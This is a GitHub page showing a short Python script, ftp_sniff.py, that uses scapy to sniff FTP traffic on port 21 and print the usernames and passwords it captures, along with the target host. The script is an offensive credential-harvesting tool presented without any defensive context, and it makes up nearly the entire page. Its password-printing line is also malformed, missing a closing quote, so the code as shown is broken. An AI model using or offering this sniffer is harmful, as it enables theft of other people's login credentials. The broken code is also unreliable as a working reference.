-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathftp_sniff.py
More file actions
31 lines (27 loc) · 892 Bytes
/
Copy pathftp_sniff.py
File metadata and controls
31 lines (27 loc) · 892 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import optparse
from scapy.all import *
def ftpSniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf('%Raw.Load%')
user = re.findall('(?i)USER (.*)', raw)
pswd = re.findall('(?i)PASS (.*)', raw)
if user:
print(f'[+] Detected FTP Login to {dest}')
print(f'[+] User account: {str(user[0])}')
elif pswd:
print(f'[+] Password: {str(pswd[0])})
def main():
parser = optparse.OptionParser('usage %prog -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specufy interface on listen on')
(options, args) = parser.parse_args()
if options.interface == None:
print(parser.usage)
exit(0)
else:
conf.iface = options.interface
try:
sniff(filter='tcp port 21', prn=ftpSniff)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()